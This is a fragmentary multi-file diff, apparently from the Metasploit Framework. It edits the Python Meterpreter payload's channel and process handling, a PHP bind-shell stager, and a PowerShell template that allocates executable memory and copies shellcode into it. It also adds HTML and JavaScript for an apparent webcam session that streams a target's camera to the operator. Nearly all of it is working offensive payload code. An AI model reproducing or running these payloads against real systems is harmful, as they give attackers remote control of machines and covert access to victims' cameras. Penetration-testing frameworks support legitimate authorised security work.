elif isinstance(channel, MeterpreterFile):
|
||||||
|
channel.close()
|
||||||
|
elif isinstance(channel, MeterpreterSocket):
|
||||||
channel.close()
|
channel.close()
|
||||||
else:
|
else:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
|
@ -329,8 +440,8 @@ class PythonMeterpreter(object):
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
result = False
|
result = False
|
||||||
if isinstance(channel, file):
|
if isinstance(channel, MeterpreterFile):
|
||||||
result = channel.tell() == os.fstat(channel.fileno()).st_size
|
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
||||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@ -356,14 +467,14 @@ class PythonMeterpreter(object):
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
data = ''
|
data = ''
|
||||||
if isinstance(channel, file):
|
if isinstance(channel, STDProcess):
|
||||||
data = channel.read(length)
|
|
||||||
elif isinstance(channel, STDProcess):
|
|
||||||
if channel.poll() != None:
|
if channel.poll() != None:
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
if channel.stdout_reader.is_read_ready():
|
if channel.stdout_reader.is_read_ready():
|
||||||
data = channel.stdout_reader.read(length)
|
data = channel.stdout_reader.read(length)
|
||||||
elif isinstance(s, socket._socketobject):
|
elif isinstance(channel, MeterpreterFile):
|
||||||
|
data = channel.read(length)
|
||||||
|
elif isinstance(channel, MeterpreterSocket):
|
||||||
data = channel.recv(length)
|
data = channel.recv(length)
|
||||||
else:
|
else:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
|
@ -378,14 +489,14 @@ class PythonMeterpreter(object):
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
l = len(channel_data)
|
l = len(channel_data)
|
||||||
if isinstance(channel, file):
|
if isinstance(channel, subprocess.Popen):
|
||||||
channel.write(channel_data)
|
|
||||||
elif isinstance(channel, subprocess.Popen):
|
|
||||||
if channel.poll() != None:
|
if channel.poll() != None:
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel.stdin.write(channel_data)
|
channel.write(channel_data)
|
||||||
elif isinstance(s, socket._socketobject):
|
elif isinstance(channel, MeterpreterFile):
|
||||||
|
channel.write(channel_data)
|
||||||
|
elif isinstance(channel, MeterpreterSocket):
|
||||||
try:
|
try:
|
||||||
l = channel.send(channel_data)
|
l = channel.send(channel_data)
|
||||||
except socket.error:
|
except socket.error:
|
||||||
|
@ -409,13 +520,17 @@ class PythonMeterpreter(object):
|
||||||
if handler_name in self.extension_functions:
|
if handler_name in self.extension_functions:
|
||||||
handler = self.extension_functions[handler_name]
|
handler = self.extension_functions[handler_name]
|
||||||
try:
|
try:
|
||||||
#print("[*] running method {0}".format(handler_name))
|
if DEBUGGING:
|
||||||
|
print('[*] running method ' + handler_name)
|
||||||
result, resp = handler(request, resp)
|
result, resp = handler(request, resp)
|
||||||
except Exception, err:
|
except Exception:
|
||||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
if DEBUGGING:
|
||||||
|
print('[-] method ' + handler_name + ' resulted in an error')
|
||||||
|
traceback.print_exc(file=sys.stderr)
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
else:
|
else:
|
||||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
if DEBUGGING:
|
||||||
|
print('[-] method ' + handler_name + ' was requested but does not exist')
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||||
|
@ -423,6 +538,9 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||||
if hasattr(os, 'setsid'):
|
if hasattr(os, 'setsid'):
|
||||||
|
try:
|
||||||
os.setsid()
|
os.setsid()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
met = PythonMeterpreter(s)
|
met = PythonMeterpreter(s)
|
||||||
met.run()
|
met.run()
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -9,17 +9,20 @@ if (is_callable('stream_socket_server')) {
|
||||||
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
|
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
|
||||||
if (!$srvsock) { die(); }
|
if (!$srvsock) { die(); }
|
||||||
$s = stream_socket_accept($srvsock, -1);
|
$s = stream_socket_accept($srvsock, -1);
|
||||||
|
fclose($srvsock);
|
||||||
$s_type = 'stream';
|
$s_type = 'stream';
|
||||||
} elseif (is_callable('socket_create_listen')) {
|
} elseif (is_callable('socket_create_listen')) {
|
||||||
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
|
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||||
if (!$res) { die(); }
|
if (!$res) { die(); }
|
||||||
$s = socket_accept($srvsock);
|
$s = socket_accept($srvsock);
|
||||||
|
socket_close($srvsock);
|
||||||
$s_type = 'socket';
|
$s_type = 'socket';
|
||||||
} elseif (is_callable('socket_create')) {
|
} elseif (is_callable('socket_create')) {
|
||||||
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||||
$res = socket_bind($srvsock, $ipaddr, $port);
|
$res = socket_bind($srvsock, $ipaddr, $port);
|
||||||
if (!$res) { die(); }
|
if (!$res) { die(); }
|
||||||
$s = socket_accept($srvsock);
|
$s = socket_accept($srvsock);
|
||||||
|
socket_close($srvsock);
|
||||||
$s_type = 'socket';
|
$s_type = 'socket';
|
||||||
} else {
|
} else {
|
||||||
die();
|
die();
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,7 +11,7 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n
|
||||||
|
|
||||||
%{shellcode}
|
%{shellcode}
|
||||||
|
|
||||||
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
|
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40)
|
||||||
|
|
||||||
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
|
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
|
||||||
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,194 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>webcam_chat</title>
|
||||||
|
<style type="text/css">
|
||||||
|
div.container {
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowa {
|
||||||
|
height: 480px;
|
||||||
|
width: 640px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-radius: 15px;
|
||||||
|
background-color: black;
|
||||||
|
position: absolute;
|
||||||
|
left: 50;
|
||||||
|
padding : 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowb {
|
||||||
|
height: 180px;
|
||||||
|
width: 200px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-radius: 15px;
|
||||||
|
background-color: #9B9B9B;
|
||||||
|
position: absolute;
|
||||||
|
top: 480;
|
||||||
|
left: 470;
|
||||||
|
padding: 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowc {
|
||||||
|
position: absolute;
|
||||||
|
top: 510;
|
||||||
|
left: 80;
|
||||||
|
height: 150px;
|
||||||
|
width: 380px;
|
||||||
|
color: red;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.footer {
|
||||||
|
position: fixed;
|
||||||
|
bottom: 0;
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
video.peer {
|
||||||
|
position: absolute;
|
||||||
|
top: 15;
|
||||||
|
left: 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
video.self {
|
||||||
|
position: absolute;
|
||||||
|
top: 5;
|
||||||
|
left: 10;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
=WEBRTCAPIJS=
|
||||||
|
|
||||||
|
window.onerror = function(e) {
|
||||||
|
document.getElementById("message").innerHTML = "Error: " + e.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
document.getElementById("message").innerHTML = "Waiting for the session. When the session arrives, you must manually allow the webcam to run in order to join the session."
|
||||||
|
}
|
||||||
|
|
||||||
|
var channel = '=CHANNEL=';
|
||||||
|
var websocket = new WebSocket('ws://=SERVER=');
|
||||||
|
var inSession = false;
|
||||||
|
|
||||||
|
websocket.onopen = function() {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
open: true,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
websocket.push = websocket.send;
|
||||||
|
websocket.send = function(data) {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
data: data,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
var peer = new PeerConnection(websocket);
|
||||||
|
peer.onUserFound = function(userid) {
|
||||||
|
if (inSession) {
|
||||||
|
console.debug("Already in session, will not send another participation request");
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
|
||||||
|
userid = "=OFFERERID=";
|
||||||
|
|
||||||
|
getUserMedia(function(stream) {
|
||||||
|
peer.addStream(stream);
|
||||||
|
peer.sendParticipationRequest(userid);
|
||||||
|
inSession = true;
|
||||||
|
document.getElementById("message").innerHTML = "Session is now active.";
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onStreamAdded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
if (e.userid == 'self') {
|
||||||
|
video.controls = true;
|
||||||
|
video.setAttribute('width', 200);
|
||||||
|
video.setAttribute('height', 190);
|
||||||
|
video.setAttribute('controls', false);
|
||||||
|
video.setAttribute('class', 'self');
|
||||||
|
document.getElementById("windowb").appendChild(video);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
video.controls = true;
|
||||||
|
video.setAttribute('width', 640);
|
||||||
|
video.setAttribute('height', 460);
|
||||||
|
video.setAttribute('controls', false);
|
||||||
|
video.setAttribute('class', 'peer');
|
||||||
|
document.getElementById("windowa").appendChild(video);
|
||||||
|
}
|
||||||
|
video.muted = false;
|
||||||
|
video.volume = 0.5;
|
||||||
|
video.play();
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onStreamEnded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
if (video) {
|
||||||
|
video.style.opacity = 0;
|
||||||
|
setTimeout(function() {
|
||||||
|
video.parentNode.removeChild(video);
|
||||||
|
}, 1000);
|
||||||
|
}
|
||||||
|
document.getElementById("message").innerHTML = "The video session has ended.";
|
||||||
|
};
|
||||||
|
|
||||||
|
function getUserMedia(callback) {
|
||||||
|
|
||||||
|
var hints = {audio:true,video:{
|
||||||
|
optional: [],
|
||||||
|
mandatory: {
|
||||||
|
minWidth: 1280,
|
||||||
|
minHeight: 720,
|
||||||
|
maxWidth: 1920,
|
||||||
|
maxHeight: 1080,
|
||||||
|
minAspectRatio: 1.77
|
||||||
|
}
|
||||||
|
}};
|
||||||
|
|
||||||
|
navigator.getUserMedia(hints,function(stream) {
|
||||||
|
var video = document.createElement('video');
|
||||||
|
video.src = URL.createObjectURL(stream);
|
||||||
|
|
||||||
|
peer.onStreamAdded({
|
||||||
|
mediaElement: video,
|
||||||
|
userid: 'self',
|
||||||
|
stream: stream
|
||||||
|
});
|
||||||
|
|
||||||
|
callback(stream);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<div class="windowa" id="windowa">
|
||||||
|
</div>
|
||||||
|
<div class="windowb" id="windowb">
|
||||||
|
</div>
|
||||||
|
<div class="windowc">
|
||||||
|
<b>Session status (=RHOST=):</b><p></p>
|
||||||
|
<span id="message"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="footer">
|
||||||
|
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
|
@ -0,0 +1,363 @@
|
||||||
|
// Muaz Khan - https://github.com/muaz-khan
|
||||||
|
// MIT License - https://www.webrtc-experiment.com/licence/
|
||||||
|
// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
|
||||||
|
window.PeerConnection = function (socketURL, userid) {
|
||||||
|
this.userid = userid || getToken();
|
||||||
|
this.peers = {};
|
||||||
|
|
||||||
|
if (!socketURL) throw 'Socket-URL is mandatory.';
|
||||||
|
|
||||||
|
new Signaler(this, socketURL);
|
||||||
|
|
||||||
|
this.addStream = function(stream) {
|
||||||
|
this.MediaStream = stream;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
function Signaler(root, socketURL) {
|
||||||
|
var self = this;
|
||||||
|
|
||||||
|
root.startBroadcasting = function () {
|
||||||
|
if(!root.MediaStream) throw 'Offerer must have media stream.';
|
||||||
|
|
||||||
|
(function transmit() {
|
||||||
|
socket.send({
|
||||||
|
userid: root.userid,
|
||||||
|
broadcasting: true
|
||||||
|
});
|
||||||
|
!self.participantFound &&
|
||||||
|
!self.stopBroadcasting &&
|
||||||
|
setTimeout(transmit, 3000);
|
||||||
|
})();
|
||||||
|
};
|
||||||
|
|
||||||
|
root.sendParticipationRequest = function (userid) {
|
||||||
|
socket.send({
|
||||||
|
participationRequest: true,
|
||||||
|
userid: root.userid,
|
||||||
|
to: userid
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
// if someone shared SDP
|
||||||
|
this.onsdp = function (message) {
|
||||||
|
var sdp = message.sdp;
|
||||||
|
|
||||||
|
if (sdp.type == 'offer') {
|
||||||
|
root.peers[message.userid] = Answer.createAnswer(merge(options, {
|
||||||
|
MediaStream: root.MediaStream,
|
||||||
|
sdp: sdp
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sdp.type == 'answer') {
|
||||||
|
root.peers[message.userid].setRemoteDescription(sdp);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
root.acceptRequest = function (userid) {
|
||||||
|
root.peers[userid] = Offer.createOffer(merge(options, {
|
||||||
|
MediaStream: root.MediaStream
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
var candidates = [];
|
||||||
|
// if someone shared ICE
|
||||||
|
this.onice = function (message) {
|
||||||
|
var peer = root.peers[message.userid];
|
||||||
|
if (peer) {
|
||||||
|
peer.addIceCandidate(message.candidate);
|
||||||
|
for (var i = 0; i < candidates.length; i++) {
|
||||||
|
peer.addIceCandidate(candidates[i]);
|
||||||
|
}
|
||||||
|
candidates = [];
|
||||||
|
} else candidates.push(candidates);
|
||||||
|
};
|
||||||
|
|
||||||
|
// it is passed over Offer/Answer objects for reusability
|
||||||
|
var options = {
|
||||||
|
onsdp: function (sdp) {
|
||||||
|
socket.send({
|
||||||
|
userid: root.userid,
|
||||||
|
sdp: sdp,
|
||||||
|
to: root.participant
|
||||||
|
});
|
||||||
|
},
|
||||||
|
onicecandidate: function (candidate) {
|
||||||
|
socket.send({
|
||||||
|
userid: root.userid,
|
||||||
|
candidate: candidate,
|
||||||
|
to: root.participant
|
||||||
|
});
|
||||||
|
},
|
||||||
|
onStreamAdded: function (stream) {
|
||||||
|
console.debug('onStreamAdded', '>>>>>>', stream);
|
||||||
|
|
||||||
|
stream.onended = function () {
|
||||||
|
if (root.onStreamEnded) root.onStreamEnded(streamObject);
|
||||||
|
};
|
||||||
|
|
||||||
|
var mediaElement = document.createElement('video');
|
||||||
|
mediaElement.id = root.participant;
|
||||||
|
mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream);
|
||||||
|
mediaElement.autoplay = true;
|
||||||
|
mediaElement.controls = true;
|
||||||
|
mediaElement.play();
|
||||||
|
|
||||||
|
var streamObject = {
|
||||||
|
mediaElement: mediaElement,
|
||||||
|
stream: stream,
|
||||||
|
userid: root.participant,
|
||||||
|
type: 'remote'
|
||||||
|
};
|
||||||
|
|
||||||
|
function afterRemoteStreamStartedFlowing() {
|
||||||
|
if (!root.onStreamAdded) return;
|
||||||
|
root.onStreamAdded(streamObject);
|
||||||
|
}
|
||||||
|
|
||||||
|
afterRemoteStreamStartedFlowing();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function closePeerConnections() {
|
||||||
|
self.stopBroadcasting = true;
|
||||||
|
if (root.MediaStream) root.MediaStream.stop();
|
||||||
|
|
||||||
|
for (var userid in root.peers) {
|
||||||
|
root.peers[userid].peer.close();
|
||||||
|
}
|
||||||
|
root.peers = {};
|
||||||
|
}
|
||||||
|
|
||||||
|
root.close = function () {
|
||||||
|
socket.send({
|
||||||
|
userLeft: true,
|
||||||
|
userid: root.userid,
|
||||||
|
to: root.participant
|
||||||
|
});
|
||||||
|
closePeerConnections();
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onbeforeunload = function () {
|
||||||
|
root.close();
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onkeyup = function (e) {
|
||||||
|
if (e.keyCode == 116)
|
||||||
|
root.close();
|
||||||
|
};
|
||||||
|
|
||||||
|
function onmessage(e) {
|
||||||
|
var message = JSON.parse(e.data);
|
||||||
|
|
||||||
|
if (message.userid == root.userid) return;
|
||||||
|
root.participant = message.userid;
|
||||||
|
|
||||||
|
// for pretty logging
|
||||||
|
console.debug(JSON.stringify(message, function (key, value) {
|
||||||
|
if (value && value.sdp) {
|
||||||
|
console.log(value.sdp.type, '---', value.sdp.sdp);
|
||||||
|
return '';
|
||||||
|
} else return value;
|
||||||
|
}, '---'));
|
||||||
|
|
||||||
|
// if someone shared SDP
|
||||||
|
if (message.sdp && message.to == root.userid) {
|
||||||
|
self.onsdp(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
// if someone shared ICE
|
||||||
|
if (message.candidate && message.to == root.userid) {
|
||||||
|
self.onice(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
// if someone sent participation request
|
||||||
|
if (message.participationRequest && message.to == root.userid) {
|
||||||
|
self.participantFound = true;
|
||||||
|
|
||||||
|
if (root.onParticipationRequest) {
|
||||||
|
root.onParticipationRequest(message.userid);
|
||||||
|
} else root.acceptRequest(message.userid);
|
||||||
|
}
|
||||||
|
|
||||||
|
// if someone is broadcasting himself!
|
||||||
|
if (message.broadcasting && root.onUserFound) {
|
||||||
|
root.onUserFound(message.userid);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (message.userLeft && message.to == root.userid) {
|
||||||
|
closePeerConnections();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var socket = socketURL;
|
||||||
|
if(typeof socketURL == 'string') {
|
||||||
|
socket = new WebSocket(socketURL);
|
||||||
|
socket.push = socket.send;
|
||||||
|
socket.send = function (data) {
|
||||||
|
socket.push(JSON.stringify(data));
|
||||||
|
};
|
||||||
|
|
||||||
|
socket.onopen = function () {
|
||||||
|
console.log('websocket connection opened.');
|
||||||
|
};
|
||||||
|
}
|
||||||
|
socket.onmessage = onmessage;
|
||||||
|
}
|
||||||
|
|
||||||
|
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
|
||||||
|
var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
|
||||||
|
var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
|
||||||
|
|
||||||
|
navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
|
||||||
|
window.URL = window.webkitURL || window.URL;
|
||||||
|
|
||||||
|
var isFirefox = !!navigator.mozGetUserMedia;
|
||||||
|
var isChrome = !!navigator.webkitGetUserMedia;
|
||||||
|
|
||||||
|
var STUN = {
|
||||||
|
url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121'
|
||||||
|
};
|
||||||
|
|
||||||
|
var TURN = {
|
||||||
|
url: 'turn:homeo@turn.bistri.com:80',
|
||||||
|
credential: 'homeo'
|
||||||
|
};
|
||||||
|
|
||||||
|
var iceServers = {
|
||||||
|
iceServers: [STUN]
|
||||||
|
};
|
||||||
|
|
||||||
|
if (isChrome) {
|
||||||
|
if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28)
|
||||||
|
TURN = {
|
||||||
|
url: 'turn:turn.bistri.com:80',
|
||||||
|
credential: 'homeo',
|
||||||
|
username: 'homeo'
|
||||||
|
};
|
||||||
|
|
||||||
|
iceServers.iceServers = [STUN, TURN];
|
||||||
|
}
|
||||||
|
|
||||||
|
var optionalArgument = {
|
||||||
|
optional: [{
|
||||||
|
DtlsSrtpKeyAgreement: true
|
||||||
|
}]
|
||||||
|
};
|
||||||
|
|
||||||
|
var offerAnswerConstraints = {
|
||||||
|
optional: [],
|
||||||
|
mandatory: {
|
||||||
|
OfferToReceiveAudio: true,
|
||||||
|
OfferToReceiveVideo: true
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function getToken() {
|
||||||
|
return Math.round(Math.random() * 9999999999) + 9999999999;
|
||||||
|
}
|
||||||
|
|
||||||
|
function onSdpError() {}
|
||||||
|
|
||||||
|
// var offer = Offer.createOffer(config);
|
||||||
|
// offer.setRemoteDescription(sdp);
|
||||||
|
// offer.addIceCandidate(candidate);
|
||||||
|
var Offer = {
|
||||||
|
createOffer: function (config) {
|
||||||
|
var peer = new RTCPeerConnection(iceServers, optionalArgument);
|
||||||
|
|
||||||
|
if (config.MediaStream) peer.addStream(config.MediaStream);
|
||||||
|
peer.onaddstream = function (event) {
|
||||||
|
config.onStreamAdded(event.stream);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onicecandidate = function (event) {
|
||||||
|
if (event.candidate)
|
||||||
|
config.onicecandidate(event.candidate);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.createOffer(function (sdp) {
|
||||||
|
peer.setLocalDescription(sdp);
|
||||||
|
config.onsdp(sdp);
|
||||||
|
}, onSdpError, offerAnswerConstraints);
|
||||||
|
|
||||||
|
this.peer = peer;
|
||||||
|
|
||||||
|
return this;
|
||||||
|
},
|
||||||
|
setRemoteDescription: function (sdp) {
|
||||||
|
this.peer.setRemoteDescription(new RTCSessionDescription(sdp));
|
||||||
|
},
|
||||||
|
addIceCandidate: function (candidate) {
|
||||||
|
this.peer.addIceCandidate(new RTCIceCandidate({
|
||||||
|
sdpMLineIndex: candidate.sdpMLineIndex,
|
||||||
|
candidate: candidate.candidate
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// var answer = Answer.createAnswer(config);
|
||||||
|
// answer.setRemoteDescription(sdp);
|
||||||
|
// answer.addIceCandidate(candidate);
|
||||||
|
var Answer = {
|
||||||
|
createAnswer: function (config) {
|
||||||
|
var peer = new RTCPeerConnection(iceServers, optionalArgument);
|
||||||
|
|
||||||
|
if (config.MediaStream) peer.addStream(config.MediaStream);
|
||||||
|
peer.onaddstream = function (event) {
|
||||||
|
config.onStreamAdded(event.stream);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onicecandidate = function (event) {
|
||||||
|
if (event.candidate)
|
||||||
|
config.onicecandidate(event.candidate);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.setRemoteDescription(new RTCSessionDescription(config.sdp));
|
||||||
|
peer.createAnswer(function (sdp) {
|
||||||
|
peer.setLocalDescription(sdp);
|
||||||
|
config.onsdp(sdp);
|
||||||
|
}, onSdpError, offerAnswerConstraints);
|
||||||
|
|
||||||
|
this.peer = peer;
|
||||||
|
|
||||||
|
return this;
|
||||||
|
},
|
||||||
|
addIceCandidate: function (candidate) {
|
||||||
|
this.peer.addIceCandidate(new RTCIceCandidate({
|
||||||
|
sdpMLineIndex: candidate.sdpMLineIndex,
|
||||||
|
candidate: candidate.candidate
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function merge(mergein, mergeto) {
|
||||||
|
for (var t in mergeto) {
|
||||||
|
mergein[t] = mergeto[t];
|
||||||
|
}
|
||||||
|
return mergein;
|
||||||
|
}
|
||||||
|
|
||||||
|
window.URL = window.webkitURL || window.URL;
|
||||||
|
navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
|
||||||
|
navigator.getUserMedia = function(hints, onsuccess, onfailure) {
|
||||||
|
if(!hints) hints = {audio:true,video:true};
|
||||||
|
if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)';
|
||||||
|
|
||||||
|
navigator.getMedia(hints, _onsuccess, _onfailure);
|
||||||
|
|
||||||
|
function _onsuccess(stream) {
|
||||||
|
onsuccess(stream);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _onfailure(e) {
|
||||||
|
if(onfailure) onfailure(e);
|
||||||
|
else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t'));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
})();
|
|
@ -0,0 +1,202 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Video session</title>
|
||||||
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
background: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.dot1 {
|
||||||
|
position: absolute;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
border-radius: 50px;
|
||||||
|
background-color: red;
|
||||||
|
top: 150;
|
||||||
|
left: 470;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.dot2 {
|
||||||
|
position: absolute;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
border-radius: 50px;
|
||||||
|
background-color: red;
|
||||||
|
top: 150;
|
||||||
|
left: 505;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.dot3 {
|
||||||
|
position: absolute;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
border-radius: 50px;
|
||||||
|
background-color: red;
|
||||||
|
top: 150;
|
||||||
|
left: 540;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowa {
|
||||||
|
height: 340px;
|
||||||
|
width: 420px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-raidus: 15px;
|
||||||
|
background-color: black;
|
||||||
|
position: absolute;
|
||||||
|
left: 20;
|
||||||
|
padding : 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowb {
|
||||||
|
height: 340px;
|
||||||
|
width: 420px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-raidus: 15px;
|
||||||
|
background-color: black;
|
||||||
|
position: absolute;
|
||||||
|
left: 570;
|
||||||
|
padding : 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowc {
|
||||||
|
position: absolute;
|
||||||
|
top: 400;
|
||||||
|
left: 60;
|
||||||
|
height: 50px;
|
||||||
|
width: 900px;
|
||||||
|
color: red;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.footer {
|
||||||
|
position: fixed;
|
||||||
|
bottom: 0;
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
=WEBRTCAPIJS=
|
||||||
|
|
||||||
|
var channel = '=CHANNEL=';
|
||||||
